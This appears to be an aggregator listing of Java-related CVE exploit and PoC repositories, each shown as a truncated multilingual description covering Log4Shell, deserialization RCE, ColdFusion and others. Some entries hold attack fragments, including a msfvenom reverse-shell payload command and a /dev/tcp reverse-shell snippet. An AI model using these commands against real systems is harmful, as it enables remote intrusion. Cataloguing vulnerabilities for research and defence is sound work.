CVE-2020-8840

CVE-2020-8840 Environment jdk 8u161 windows10 1903 Procedure 1.Create a java file named Exploit.java with code you wanna run in it & compile it 2.Create a http server using python or other tools at the same dir of class file 3.Create a ldap server using marshalsec: java -cp...

VUL4J-23

Apache Sling Bringing Back the Fun! Apache Sling is a web framework that uses a Java Content Repository, such as Apache Jackrabbit, to store and manage content. Sling applications use either scripts or Java servlets, selected based on simple name conventions, to process HTTP requests in a RESTful...

CVE-2024-24919-Exploit

Escáner de Vulnerabilidades CVE202424919 Esta herramienta Java escanea una lista de direcciones IP en busca de la vulnerabilidad CVE-2024-24919. Intenta explotar la vulnerabilidad y ofrece opciones para imprimir los datos del cuerpo de la respuesta y cambiar el directorio de archivos de destino...

solar-exploiting-log4j

🔥 Solar Exploiting Log4j - Walkthrough de TryHackMe 📌 Sala: Solar Exploiting Log4j Plataforma: TryHackMe Dificultad: Media Tema: Log4Shell Vulnerabilidad Log4j 🧠 Objetivo Explota la vulnerabilidad Log4j CVE-2021-44228 para obtener ejecución remota de código y capturar flags. 🛠️ Herramientas...

CVE-2021-36981

CVE-2021-36981 Verinice.Pro 1.22.1 Unsafe Java deserialization of untrusted data, leading to Remote Code Execution using C3P0 gadget authenticated PoC code to exploit the deserialization vulnerability. See...

CVE-2026-33439-Poc

CVE-2026-33439 RCE pre-autenticación en OpenIdentityPlatform OpenAM mediante deserialización insegura de Java del parámetro jato.clientSession. Afecta a & /dev/tcp/HOST/PORT 0&1' La salida es ciega. La petición se bloquea hasta que el comando finaliza, por lo que el tiempo confirma la ejecución...

CVE-2023-43208_Detection_PoC

CVE-2023-43208DetectionPoC Use java.net.InetAddress for detection POST /api/users HTTP/1.1 Host: ip:8443 User-Agent: Mozilla/5.0 X11; CrOS x8664 14541.0.0 AppleWebKit/537.36 KHTML, like Gecko Chrome/120.0.0.0 Safari/537.36 Connection: keep-alive Content-Length: 1964 Content-Type: application/xml...

CVE-2014-0094

CVE-2014-0094 Para verificación. Basado en https://piyolog.hatenadiary.jp/entry/20140417/1397750197, vulhub/java:7u55-jdk tomcat-8.0.5 struts-2.3.16 se reproduce. El classLoader está funcionando, pero el log clave ha quedado percent-encoded, por lo que no se llega a RCE También se añadió la versi...

CVE-2022-21306

CVE-2022-21306 POC，EXP，chatGPT for me，只能给一些思路，全部不可用 code import json import requests targeturl = "http://127.0.0.1:7001" headers = 'User-Agent': 'Mozilla/5.0 Windows NT 10.0; Win64; x64 AppleWebKit/537.36 KHTML, like Gecko Chrome/58.0.3029.110 Safari/537.3', 'Content-Type': 'application/json',...

CVE-2025-24813

CVE-2025-24813 描述 本仓库旨在提供清晰的说明，用于在 Windows Server 2019 Standard 上快速部署 Tomcat v9.0.90 和 java 25.0.1 2025-10-21 LTS，以进行网络安全威胁模拟演练。exploit.py 利用 ysoserial-all.jar 中的 CommonsCollections6 模块生成有效载荷，该载荷随后被 %CATALINAHOME%\webapps\ROOT\WEB-INF\lib 中的 commons-collections-3.2.1.jar 依赖项反序列化。 设置受害者 Windows...

lua-ffi-libinjection

Name lua-resty-libinjection - LuaJIT FFI bindings for libinjection Status This library is in active development and is production ready Description This library provides FFI bindings for libinjection, a SQL/SQLi and XSS tokenizer and analyzer. Installation Install this library as you would any...

CVE-2023-26360-RCE

CVE-2023-26360 - Ejecución Remota de Código en ColdFusion 2021 A veces, los scripts no funcionan en el primer intento. Inténtalo varias veces para que funcione. Cómo ejecutar Crear un payload con msfvenom msfvenom -p java/shellreversetcp LHOST=192.168.56.1 LPORT=4444 file.java Iniciando server.py...

Log4J_Exploitation-Vulnerabiliy__CVE-2021-44228

Log4JExploitation-VulnerabiliyCVE-2021-44228. introducción Se ha encontrado una vulnerabilidad de ejecución remota de código relacionada con la librería de registro de Java Log4j. CVE-2021-44228 Esta vulnerabilidad ha causado un gran revuelo en la comunidad cibernética mundial; desde Wannacry no...

psychic-signatures

CVE-2022-21449: Psychic Signatures in Java...

CVE-2023-46442_POC

CVE-2023-46442POC Entorno: Java 8 POC para CVE-2023-46442, vulnerabilidad de Denegación de Servicio encontrada en Soot anterior a 4.4.1 bajo Java 8 Al recuperar el cuerpo de un método creado maliciosamente, un archivo de clase o método de tamaño muy pequeño puede causar un enorme consumo de...

Apache-Commons-Text-CVE-2022-42889

Apache Commons Text CVE-2022-42889 Overview Apache Text4Shell CVE-2022-42889 The affected Apache Commons Text versions 1.5 through 1.9 and it has been patched in version 1.10. Apache Commons Text is a Java library described as "a library focused on algorithms working on strings". Usage: 1. Copy...

Apache Unomi <1.5.2 - Remote Code Execution

Apache Unomi allows conditions to use OGNL and MVEL scripting which offers the possibility to call static Java classes from the JDK that could execute code with the permission level of the running Java process. This vulnerability affects all versions of Apache Unomi prior to 1.5.2. id:...

RWS WorldServer - Authentication Bypass

An issue was discovered in RWS WorldServer before 11.7.3. Adding a token parameter with the value of 02 bypasses all authentication requirements. Arbitrary Java code can be uploaded and executed via a .jar archive to the ws-api/v2/customizations/api endpoint. id: CVE-2022-34267 info: name: RWS...

php-8.1.0-dev-exploit

php-8.1-dev-Exploit ⚠️ Important read first This repository contains a Java proof-of-concept PoC intended for CTF / lab use only. Do not run this code against systems you do not own or do not have explicit written permission to test. Unauthorized exploitation is illegal. Use only in isolated...

Log4Shell-CVE-2021-44228-ENV

Log4Shell复现环境 示例说明 被攻击机ip：47.47.47.47 攻击机ip：48.48.48.48 被攻击机运行漏洞Docker 使用DockerFile build docker镜像运行： docker build . -t vuln docker run -p 8080:8080 --name vuln vuln 攻击机运行攻击Docker 使用DockerFile build docker镜像运行 docker build . -t attack docker run -itd -p 9999:9999 -p 8888:8888 -p 1389:1389 -p...